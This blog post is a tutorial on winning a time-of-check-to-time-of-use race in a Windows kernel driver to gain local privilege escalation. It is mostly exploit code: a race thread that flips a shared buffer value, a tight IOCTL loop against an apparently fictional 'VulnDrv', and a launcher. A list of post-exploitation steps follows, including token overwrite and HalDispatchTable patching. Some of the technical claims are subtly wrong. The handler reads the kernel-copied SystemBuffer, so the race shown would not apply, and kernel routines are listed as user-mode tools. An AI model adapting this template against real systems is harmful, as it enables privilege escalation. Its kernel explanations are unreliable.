Logo blog @ teamserver.xyz
Race Conditions in Windows Kernel Drivers: A Case Study in Winning the Race

Race Conditions in Windows Kernel Drivers: A Case Study in Winning the Race

April 13, 2025
4 min read
Table of Contents

Introduction

Race conditions in the Windows kernel have been the source of some of the most devastating vulnerabilities in modern exploitation history. Among them, TOCTOU (Time-of-Check-to-Time-of-Use) bugs are particularly insidious: they occur when the kernel checks a condition (e.g., file permissions, object validity) but fails to ensure that condition remains true at the time it uses that object.

This blog will guide you through exploiting a real-world-like TOCTOU race condition in a Windows kernel-mode driver. We’ll break down how the vulnerability works, discuss the tooling required to reliably win the race, and walk through an exploit that leads to local privilege escalation (LPE) on Windows.

What is TOCTOU vulnerability?

A Time-of-Check-to-Time-of-Use (TOCTOU) bug occurs when there is a gap between the check and the use of a resource — and an attacker can alter the resource during that window.

In kernel space, this often happens when:

  • A user-mode pointer is validated, and then later dereferenced.
  • A file path or handle is checked for permissions, then opened or modified.
  • A buffer is read multiple times but changed between reads.

Example Scenario: Unsafe Access to a User-Mode Buffer

Let’s take a real-world-inspired case from a vulnerable Windows driver that does this:

NTSTATUS VulnerableIoctlHandler(PIRP Irp) {
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
PUSER_INPUT input = (PUSER_INPUT)Irp->AssociatedIrp.SystemBuffer;
if (!MmIsAddressValid(input)) {
return STATUS_INVALID_PARAMETER;
}
// Unsafe: input could change after the check
ULONG value = input->ControlCode;
if (value == 0x41414141) {
// ...
}
return STATUS_SUCCESS;
}

This driver checks whether the pointer is valid using MmIsAddressValid() but does not lock or copy the buffer. If the attacker switches the memory mapping after the check, it can lead to arbitrary read/write — and potentially elevation of privileges.

Tooling to Exploit Race Conditions

To exploit this reliably, we need multi-threaded synchronization and precise timing.

Key Tools

  • Thread affinity: Bind threads to specific CPUs for deterministic behavior.
  • KeUserModeCallback / NtQueryIntervalProfile: Trigger fast system calls that preempt kernel operations.
  • FlushInstructionCache / Memory barriers: Force hardware state transitions to improve race wins.
  • NtMapViewOfSection / VirtualProtect: Flip memory protection or remap shared memory in user space.
  • Timer-based hooking: Use SetTimerQueueTimer or RtlSetTimer to time the memory switch.

Building a Reliable TOCTOU Exploit

Goal: Flip a value in a user-mode buffer between the kernel’s check and use.

Step 1: Controlled Memory Buffer

We allocate a shared memory section that the kernel will read from.

volatile ULONG g_ControlCode = 0x0;
PVOID CreateSharedSection() {
HANDLE hSection;
SIZE_T size = 0x1000;
NTSTATUS status = NtCreateSection(
&hSection, SECTION_ALL_ACCESS, NULL, &size,
PAGE_READWRITE, SEC_COMMIT, NULL);
PVOID base;
NtMapViewOfSection(hSection, NtCurrentProcess(), &base, 0, size, NULL,
&size, ViewUnmap, 0, PAGE_READWRITE);
g_ControlCode = 0x1337; // harmless value
((PULONG)base)[0] = g_ControlCode;
return base;
}

Step 2: Race Trigger Thread

This thread constantly toggles the memory contents to flip values during the kernel’s execution.

DWORD WINAPI RaceThread(LPVOID param) {
PULONG shared = (PULONG)param;
while (true) {
*shared = 0x1337; // Safe value
MemoryBarrier();
*shared = 0x41414141; // Malicious value
}
return 0;
}

Step 3: Invoke the Vulnerable Driver

We issue the IOCTL that triggers the race in a tight loop to maximize our chances of winning.

void TriggerIoctlRace(HANDLE hDevice, PVOID userBuffer) {
for (int i = 0; i < 100000; i++) {
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_VULN_CODE, userBuffer, 0x100,
userBuffer, 0x100, &bytesReturned, NULL);
}
}

Step 4: Combine and Launch

int main() {
PVOID sharedBuffer = CreateSharedSection();
HANDLE hDevice = CreateFileW(L"\\\\.\\VulnDrv", ...);
HANDLE hRace = CreateThread(NULL, 0, RaceThread, sharedBuffer, 0, NULL);
SetThreadPriority(hRace, THREAD_PRIORITY_TIME_CRITICAL);
TriggerIoctlRace(hDevice, sharedBuffer);
WaitForSingleObject(hRace, INFINITE);
return 0;
}

Post-Exploitation: Arbitrary Kernel Write

In many real-world TOCTOU cases, the vulnerable driver ends up using the corrupted input to write into kernel memory, e.g.:

if (input->ControlCode == 0x41414141) {
*(ULONG*)input->TargetAddress = input->Payload; // Write-what-where
}

Once you control TargetAddress and Payload, you can:

  • Overwrite your process token to elevate privileges.
  • Hijack a function pointer to execute ring-0 shellcode.
  • Patch kernel callback routines or HalDispatchTable.

Conclusion

TOCTOU vulnerabilities remain a critical class of kernel bugs with high impact. Exploiting them requires synchronization precision, heap manipulation awareness, and low-level control over memory mapping.

This case study illustrates that even with modern mitigations, winning the race is still possible — especially when drivers make classic mistakes like trusting user pointers or failing to isolate user data before acting on it.

Understanding how these bugs manifest and are exploited is crucial for both offensive research and secure kernel driver development.

References